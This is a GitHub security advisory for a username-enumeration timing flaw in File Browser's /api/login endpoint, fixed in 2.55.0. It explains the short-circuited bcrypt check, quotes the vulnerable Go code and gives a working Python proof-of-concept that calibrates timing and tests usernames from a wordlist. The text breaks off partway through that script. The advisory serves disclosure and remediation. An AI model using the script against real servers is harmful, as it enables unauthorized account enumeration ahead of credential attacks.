GitHub Security Advisory: GHSA-43mm-m3h2-3prc
Package: github.com/filebrowser/filebrowser/v2 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-203: Observable Discrepancy, CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 2.55.0
Patched in: 2.55.0

Summary: File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login

Details:
### Summary
The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

### Details
The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only).
Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:
```go
// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}
```
### PoC
The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

```python
import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []
    
    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")
    
    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0
    
    threshold = mean + (5 * stdev) + 0.005
    
    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")
    
    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundErr